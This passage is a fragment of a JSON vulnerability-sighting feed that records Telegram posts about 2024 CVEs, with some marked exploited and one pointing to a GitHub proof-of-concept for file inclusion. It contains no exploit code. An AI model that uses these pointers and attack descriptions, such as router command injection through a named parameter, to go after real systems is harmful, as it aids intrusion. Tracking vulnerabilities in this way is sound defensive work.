"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1285", "type": "seen", "source": "https://t.me/ctinow/199851", "content": "https://ift.tt/0sQl9qa\nCVE-2024-1285", "creation_timestamp": "2024-03-05T03:27:52.000000Z"}, {"uuid": "bdd873f9-6eb9-49d4-aade-7a55b32cb801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1282", "type": "seen", "source": "https://t.me/ctinow/199110", "content": "https://ift.tt/PTGXFag\nCVE-2024-1282 | Email Encoder Plugin up to 2.2.0 on WordPress Shortcode cross site scripting", "creation_timestamp": "2024-03-04T09:41:37.000000Z"}, {"uuid": "1162059c-91d8-4cd9-bd36-2e7847660c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1200", "type": "seen", "source": "https://t.me/ctinow/192778", "content": "https://ift.tt/nZQqVY3\nCVE-2024-1200 | Jspxcms 10.2.0 /template/1/default/ information disclosure", "creation_timestamp": "2024-02-25T08:46:45.000000Z"}, {"uuid": "a973fa27-b05d-4a47-a477-77140e7a69b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1215", "type": "seen", "source": "https://t.me/ctinow/192907", "content": "https://ift.tt/JXsFEbH\nCVE-2024-1215 | SourceCodester CRUD without Page Reload 1.0 fetch_data.php username/city cross site scripting", "creation_timestamp": "2024-02-25T15:16:23.000000Z"}, {"uuid": "421db84a-dff4-44f9-9a90-b21db1250a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1208", "type": "seen", "source": "https://t.me/ctinow/192897", "content": "https://ift.tt/cx8RMDK\nCVE-2024-1208 | LearnDash LMS Plugin up to 4.10.2 on WordPress API information disclosure", "creation_timestamp": "2024-02-25T14:46:21.000000Z"}, {"uuid": "7088a72b-175b-443c-a29f-9bc57172e9ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "seen", "source": "https://t.me/ctinow/192896", "content": "https://ift.tt/wjrZVS0\nCVE-2024-1210 | LearnDash LMS Plugin up to 4.10.1 on WordPress API information disclosure", "creation_timestamp": "2024-02-25T14:46:19.000000Z"}, {"uuid": "64870c89-667b-4918-9f50-bf012baa2303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1209", "type": "seen", "source": "https://t.me/ctinow/192895", "content": "https://ift.tt/Ze2HtUu\nCVE-2024-1209 | LearnDash LMS Plugin up to 4.10.1 on WordPress Assignment information disclosure", "creation_timestamp": "2024-02-25T14:46:18.000000Z"}, {"uuid": "a563cfd8-b134-4ef2-aae4-6aabb2d1a555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1297", "type": "seen", "source": "https://t.me/ctinow/188018", "content": "https://ift.tt/LoTyRJi\nCVE-2024-1297", "creation_timestamp": "2024-02-20T01:26:33.000000Z"}, {"uuid": "602202f6-9d17-48c8-b153-0b989bb81a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1297", "type": "seen", "source": "https://t.me/ctinow/188014", "content": "https://ift.tt/LoTyRJi\nCVE-2024-1297", "creation_timestamp": "2024-02-20T01:21:35.000000Z"}, {"uuid": "15b24d08-ffc5-4c10-9b6c-cca1720f494b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1256", "type": "seen", "source": "https://t.me/ctinow/182464", "content": "https://ift.tt/KHkvPui\nCVE-2024-1256 Exploit", "creation_timestamp": "2024-02-10T08:16:28.000000Z"}, {"uuid": "431e0f8b-cb5b-49f7-ab50-2d23f9013b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1257", "type": "seen", "source": "https://t.me/ctinow/182463", "content": "https://ift.tt/QjzvTFS\nCVE-2024-1257 Exploit", "creation_timestamp": "2024-02-10T08:16:27.000000Z"}, {"uuid": "1de1683e-cb98-4c96-9cc0-2e689fc88614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1266", "type": "seen", "source": "https://t.me/ctinow/180475", "content": "https://ift.tt/9azc5Ky\nCVE-2024-1266", "creation_timestamp": "2024-02-07T02:32:03.000000Z"}, {"uuid": "2644b10a-2e9d-438b-9386-7e4c135445ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1260", "type": "seen", "source": "https://t.me/ctinow/180402", "content": "https://ift.tt/IbBMSFR\nCVE-2024-1260", "creation_timestamp": "2024-02-06T23:31:32.000000Z"}, {"uuid": "d72378ae-56d6-4c1d-bff7-aa982d1e2e0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1267", "type": "seen", "source": "https://t.me/ctinow/180476", "content": "https://ift.tt/urvyX5x\nCVE-2024-1267", "creation_timestamp": "2024-02-07T02:32:04.000000Z"}, {"uuid": "a132fa3d-72b3-46d9-9d10-03341a152ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1257", "type": "seen", "source": "https://t.me/ctinow/180332", "content": "https://ift.tt/WF3XlLJ\nCVE-2024-1257", "creation_timestamp": "2024-02-06T21:26:38.000000Z"}, {"uuid": "6b79b29d-7242-4295-a0c9-66937edb3d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1256", "type": "seen", "source": "https://t.me/ctinow/180331", "content": "https://ift.tt/TdC4eg7\nCVE-2024-1256", "creation_timestamp": "2024-02-06T21:26:37.000000Z"}, {"uuid": "fe6d23fd-af8f-4b9e-a0bf-253ef33c6297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1253", "type": "seen", "source": "https://t.me/ctinow/180209", "content": "https://ift.tt/hoGAwsO\nCVE-2024-1253", "creation_timestamp": "2024-02-06T18:27:03.000000Z"}, {"uuid": "dd274f97-4fcf-4b3e-b8b4-e63f2aa2c79d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1252", "type": "seen", "source": "https://t.me/ctinow/180208", "content": "https://ift.tt/v9PUjVn\nCVE-2024-1252", "creation_timestamp": "2024-02-06T18:27:02.000000Z"}, {"uuid": "42440d76-12c6-4c1b-9298-5ca68b37ecaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1209", "type": "seen", "source": "https://t.me/ctinow/184928", "content": "https://ift.tt/oLbF14f\nCVE-2024-1209 Exploit", "creation_timestamp": "2024-02-14T19:16:21.000000Z"}, {"uuid": "ca637b8a-eb4f-499f-83c8-34d148c46f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1266", "type": "seen", "source": "https://t.me/ctinow/185102", "content": "https://ift.tt/ef3HUOd\nCVE-2024-1266 Exploit", "creation_timestamp": "2024-02-14T23:16:30.000000Z"}, {"uuid": "577b5407-d99d-4086-baf1-68bb316a2079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1265", "type": "seen", "source": "https://t.me/ctinow/185020", "content": "https://ift.tt/pWCL5V7\nCVE-2024-1265 Exploit", "creation_timestamp": "2024-02-14T21:16:37.000000Z"}, {"uuid": "d9787aa5-ff03-4c02-b703-c8096769c450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1261", "type": "seen", "source": "https://t.me/ctinow/180403", "content": "https://ift.tt/SmvHTDK\nCVE-2024-1261", "creation_timestamp": "2024-02-06T23:31:34.000000Z"}, {"uuid": "c0333f21-9e78-46ca-b99e-902d5096f4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1251", "type": "seen", "source": "https://t.me/ctinow/180159", "content": "https://ift.tt/k7hbiXK\nCVE-2024-1251", "creation_timestamp": "2024-02-06T17:31:56.000000Z"}, {"uuid": "33e2dfc2-87eb-4fa0-bf56-8b42bfb53c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1271", "type": "seen", "source": "https://t.me/ctinow/180119", "content": "https://ift.tt/VMBLnEa\nCVE-2024-1271", "creation_timestamp": "2024-02-06T16:56:42.000000Z"}, {"uuid": "8ad7ffbe-f1be-4777-8b9e-2455267bc1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1269", "type": "seen", "source": "https://t.me/ctinow/180491", "content": "https://ift.tt/HL9vGcK\nCVE-2024-1269", "creation_timestamp": "2024-02-07T03:31:21.000000Z"}, {"uuid": "d3df8f29-b8fe-41a5-8a17-cf116b7cda44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1268", "type": "seen", "source": "https://t.me/ctinow/180490", "content": "https://ift.tt/EygxDUn\nCVE-2024-1268", "creation_timestamp": "2024-02-07T03:31:20.000000Z"}, {"uuid": "922188c0-7bfd-4682-b569-ea8a172a2814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1254", "type": "seen", "source": "https://t.me/ctinow/184368", "content": "https://ift.tt/ImTfrQj\nCVE-2024-1254 Exploit", "creation_timestamp": "2024-02-14T02:16:36.000000Z"}, {"uuid": "6cb93f3d-06ad-4381-900b-621f6e74c77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1284", "type": "seen", "source": "https://t.me/ctinow/180456", "content": "https://ift.tt/sEMZpzS\nCVE-2024-1284", "creation_timestamp": "2024-02-07T01:26:44.000000Z"}, {"uuid": "d3068799-6276-4ea3-8b71-c36140699668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1283", "type": "seen", "source": "https://t.me/ctinow/180455", "content": "https://ift.tt/YsQAWJk\nCVE-2024-1283", "creation_timestamp": "2024-02-07T01:26:43.000000Z"}, {"uuid": "502a6a02-3468-49ad-9ed1-9d3f281bd9d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1265", "type": "seen", "source": "https://t.me/ctinow/180454", "content": "https://ift.tt/ztV46cJ\nCVE-2024-1265", "creation_timestamp": "2024-02-07T01:26:42.000000Z"}, {"uuid": "2ef90945-f8ca-4c22-b280-05217e2efde0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1264", "type": "seen", "source": "https://t.me/ctinow/180453", "content": "https://ift.tt/DpcKjdl\nCVE-2024-1264", "creation_timestamp": "2024-02-07T01:26:41.000000Z"}, {"uuid": "a6491d40-8479-4870-8bec-014117f9215c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1262", "type": "seen", "source": "https://t.me/ctinow/180432", "content": "https://ift.tt/pvWFedA\nCVE-2024-1262", "creation_timestamp": "2024-02-07T00:31:41.000000Z"}, {"uuid": "ecaaff78-5875-467c-972c-be02a6825687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1263", "type": "seen", "source": "https://t.me/ctinow/180433", "content": "https://ift.tt/UWQhZgf\nCVE-2024-1263", "creation_timestamp": "2024-02-07T00:31:42.000000Z"}, {"uuid": "429fd12d-59dd-4771-9e8b-7be721f3d54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1259", "type": "seen", "source": "https://t.me/ctinow/180365", "content": "https://ift.tt/3ouRh0g\nCVE-2024-1259", "creation_timestamp": "2024-02-06T22:22:21.000000Z"}, {"uuid": "57c61067-4dfb-41c0-bcd0-dadeb43382de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1258", "type": "seen", "source": "https://t.me/ctinow/180364", "content": "https://ift.tt/KtGMVyz\nCVE-2024-1258", "creation_timestamp": "2024-02-06T22:22:20.000000Z"}, {"uuid": "f62da5b5-e9d1-465d-9844-01d2dbe21932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1255", "type": "seen", "source": "https://t.me/ctinow/180294", "content": "https://ift.tt/SX4cWKe\nCVE-2024-1255", "creation_timestamp": "2024-02-06T20:21:43.000000Z"}, {"uuid": "93e02697-b311-40ab-8078-1bb791c9d075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1254", "type": "seen", "source": "https://t.me/ctinow/180293", "content": "https://ift.tt/R1rwyqb\nCVE-2024-1254", "creation_timestamp": "2024-02-06T20:21:42.000000Z"}, {"uuid": "1cc62f42-24a5-46fb-a700-b2acaa868450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1216", "type": "seen", "source": "https://t.me/ctinow/184136", "content": "https://ift.tt/bmWLD8n\nCVE-2024-1216", "creation_timestamp": "2024-02-13T20:22:11.000000Z"}, {"uuid": "b95348fd-c2ca-4829-85f7-def0968ccd6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "seen", "source": "https://t.me/ctinow/185017", "content": "https://ift.tt/ySsvKGI\nCVE-2024-1210 Exploit", "creation_timestamp": "2024-02-14T21:16:33.000000Z"}, {"uuid": "749c5995-4c8c-435d-bf44-052dabfe6146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1252", "type": "seen", "source": "https://t.me/ctinow/184296", "content": "https://ift.tt/EOU2s7C\nCVE-2024-1252 Exploit", "creation_timestamp": "2024-02-13T23:16:49.000000Z"}, {"uuid": "4af2ae64-8bc4-4aed-8c43-62cccb396d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1253", "type": "seen", "source": "https://t.me/ctinow/184295", "content": "https://ift.tt/0TXxBbv\nCVE-2024-1253 Exploit", "creation_timestamp": "2024-02-13T23:16:48.000000Z"}, {"uuid": "eadff0fa-1dd3-4299-a83d-8d81fa700927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1208", "type": "seen", "source": "https://t.me/ctinow/183960", "content": "https://ift.tt/ew35MCX\nCVE-2024-1208 Exploit", "creation_timestamp": "2024-02-13T17:16:16.000000Z"}, {"uuid": "263a33d6-57ea-4062-862f-910a578c9b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1215", "type": "seen", "source": "https://t.me/ctinow/183489", "content": "https://ift.tt/DgLNz5x\nCVE-2024-1215 Exploit", "creation_timestamp": "2024-02-12T23:16:22.000000Z"}, {"uuid": "b03483cb-1dea-47eb-95b5-310ce3647edb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1250", "type": "seen", "source": "https://t.me/ctinow/183435", "content": "https://ift.tt/kJr4i53\nCVE-2024-1250", "creation_timestamp": "2024-02-12T22:31:25.000000Z"}, {"uuid": "46b8476e-66e5-48ad-8730-060dd889808c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1200", "type": "seen", "source": "https://t.me/ctinow/183404", "content": "https://ift.tt/WBJCT6E\nCVE-2024-1200 Exploit", "creation_timestamp": "2024-02-12T21:16:40.000000Z"}, {"uuid": "91465536-f7c0-430c-8b23-322d8f0e290e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1225", "type": "seen", "source": "https://t.me/ctinow/179212", "content": "https://ift.tt/qTOkYft\nCVE-2024-1225", "creation_timestamp": "2024-02-05T14:21:45.000000Z"}, {"uuid": "0555fd25-c06c-403d-9fbb-52e2fa9fb796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1201", "type": "seen", "source": "https://t.me/ctinow/178064", "content": "https://ift.tt/9Cj2vaJ\nCVE-2024-1201", "creation_timestamp": "2024-02-02T13:21:33.000000Z"}, {"uuid": "32318f60-8b82-4e29-9aab-3db3cfdbf812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1215", "type": "seen", "source": "https://t.me/ctinow/178614", "content": "https://ift.tt/xA8XIvj\nCVE-2024-1215", "creation_timestamp": "2024-02-03T17:31:17.000000Z"}, {"uuid": "d09b100b-623b-45c1-9710-47cd312d9402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1200", "type": "seen", "source": "https://t.me/ctinow/178385", "content": "https://ift.tt/fQeadqD\nCVE-2024-1200", "creation_timestamp": "2024-02-03T03:21:53.000000Z"}, {"uuid": "221835da-be5b-4dc4-918d-c0372422eca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1246", "type": "seen", "source": "https://t.me/ctinow/182250", "content": "https://ift.tt/5s0XyWz\nCVE-2024-1246", "creation_timestamp": "2024-02-09T21:32:10.000000Z"}, {"uuid": "b2068c5f-d4d1-4283-8a10-73fc8523d031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1245", "type": "seen", "source": "https://t.me/ctinow/182249", "content": "https://ift.tt/oR7pyuJ\nCVE-2024-1245", "creation_timestamp": "2024-02-09T21:32:09.000000Z"}, {"uuid": "1e1982ab-864b-4243-9594-49e514872fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1284", "type": "seen", "source": "https://t.me/ctinow/181646", "content": "https://ift.tt/xayusvi\nChromium: CVE-2024-1284 Use after free in Mojo", "creation_timestamp": "2024-02-08T21:36:41.000000Z"}, {"uuid": "97c28a37-ed44-4905-b546-a25c21151ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1283", "type": "seen", "source": "https://t.me/ctinow/181645", "content": "https://ift.tt/qPCHD28\nChromium: CVE-2024-1283 Heap buffer overflow in Skia", "creation_timestamp": "2024-02-08T21:36:39.000000Z"}, {"uuid": "4e913a19-be5d-4729-97f5-4ee9d610dbb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/ctinow/181264", "content": "https://ift.tt/mir7ajL\nCVE-2024-1207", "creation_timestamp": "2024-02-08T10:21:30.000000Z"}, {"uuid": "28c122cb-b9c5-47da-8d06-7f7af86c1340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/245", "content": "https://github.com/Nxploited/CVE-2024-12209\n\nUnauthenticated Local File Inclusion\n#github #exploit", "creation_timestamp": "2024-12-24T11:45:43.000000Z"}, {"uuid": "4221b2a4-1003-4333-91f3-272632b9acb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/information_security_channel/53076", "content": "High-Severity OpenSSL Vulnerability Found by Apple Allows MitM Attacks\nhttps://www.securityweek.com/high-severity-openssl-vulnerability-found-by-apple-allows-mitm-attacks/\n\nOpenSSL has patched CVE-2024-12797, a high-severity vulnerability found by Apple that can allow man-in-the-middle attacks.\nThe post High-Severity OpenSSL Vulnerability Found by Apple Allows MitM Attacks (https://www.securityweek.com/high-severity-openssl-vulnerability-found-by-apple-allows-mitm-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2025-02-11T20:10:22.000000Z"}, {"uuid": "e679b471-c552-43c0-a62d-a0b9e13b1848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/26954", "content": "\u26a1\ufe0f15,000+ Four-Faith routers are exposed, with attackers actively exploiting a command injection flaw (CVE-2024-12856).\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T04:56:53.000000Z"}, {"uuid": "9a41c803-44e2-4fe0-8c19-a5b68716b164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/thehackernews/6065", "content": "\ud83d\udea8 A critical flaw (CVE-2024-12356, CVSS score: 9.8) has been discovered in BeyondTrust's Privileged Remote Access (PRA) and Remote Support (RS) products. \n \nAn unauthenticated attacker could exploit this to inject commands and execute arbitrary OS actions, posing a serious security risk. \n \nLearn more: https://thehackernews.com/2024/12/beyondtrust-issues-urgent-patch-for.html", "creation_timestamp": "2024-12-18T15:43:59.000000Z"}, {"uuid": "4ed9abae-a5fc-4ebb-9368-882e15e3ce45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/thehackernews/6074", "content": "\ud83d\udea8 CISA warns of an actively exploited critical flaw (CVE-2024-12356, CVSS: 9.8) in BeyondTrust's Privileged Remote Access (PRA) and Remote Support (RS) products. \n \nAttackers can exploit this flaw to run arbitrary commands\u2014no authentication required. \n \nRead: https://thehackernews.com/2024/12/cisa-adds-critical-flaw-in-beyondtrust.html", "creation_timestamp": "2024-12-20T05:32:32.000000Z"}, {"uuid": "44291d8c-9f75-414e-87b1-bd497b969b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/thehackernews/6157", "content": "\ud83d\udea8 New Vulnerability Alert! \n \nCISA has added another critical BeyondTrust flaw to its \"Known Exploited Vulnerabilities\" catalog\u2014this time, impacting Privileged Remote Access (PRA) and Remote Support (RS). \n \nAttackers are actively exploiting it \u2014 CVE-2024-12686. \n \nRead more: https://thehackernews.com/2025/01/cisa-adds-new-beyondtrust-flaw-to-kev.html", "creation_timestamp": "2025-01-14T04:25:19.000000Z"}, {"uuid": "081c4da9-3484-4c7f-ae48-06fa1c16647d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://t.me/thehackernews/5908", "content": "Major security flaws in Progress Kemp LoadMaster (CVE-2024-1212) and VMware vCenter Server (CVE-2024-38812 and CVE-2024-38813) are actively being exploited. \n \nLearn how to mitigate this flaw and secure your system before it\u2019s too late \u2013 Read more: https://thehackernews.com/2024/11/cisa-alert-active-exploitation-of.html", "creation_timestamp": "2024-11-19T07:37:25.000000Z"}, {"uuid": "204a9d18-86aa-4554-b45c-4c5958c5114a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/thehackernews/6100", "content": "\ud83d\udea8 Suspected Chinese state-sponsored hackers breached the U.S. Treasury via a compromised API key from BeyondTrust, a third-party vendor. \n \n\ud83d\udca1 Here\u2019s what happened: \n\u00bb Attackers gained access to a key securing BeyondTrust\u2019s cloud-based remote support service. \n\u00bb They bypassed security to remotely access Treasury workstations and unclassified documents. \n\u00bb CVE-2024-12356, a critical vulnerability (CVSS 9.8), was actively exploited. \n \n\u27a1\ufe0f Read More: https://thehackernews.com/2024/12/chinese-apt-exploits-beyondtrust-api.html", "creation_timestamp": "2024-12-31T06:46:44.000000Z"}, {"uuid": "d50f645f-2fbd-4204-819e-b30901e6f8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/thehackernews/6095", "content": "\u26a0\ufe0f 15,000+ Four-Faith routers are exposed, with attackers actively exploiting a command injection flaw (CVE-2024-12856). \n \n1\ufe0f\u20e3 Attackers execute commands remotely via the adj_time_year parameter. \n2\ufe0f\u20e3 Reverse shells enable hackers to stay hidden and in control. \n \nRead: https://thehackernews.com/2024/12/15000-four-faith-routers-exposed-to-new.html", "creation_timestamp": "2024-12-28T07:32:47.000000Z"}, {"uuid": "453efc13-528c-4c71-9a41-20028bd1ff06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/thehackernews/6357", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-02-18T08:09:42.000000Z"}, {"uuid": "54b29554-4fc8-44da-8fab-c9f73e870754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 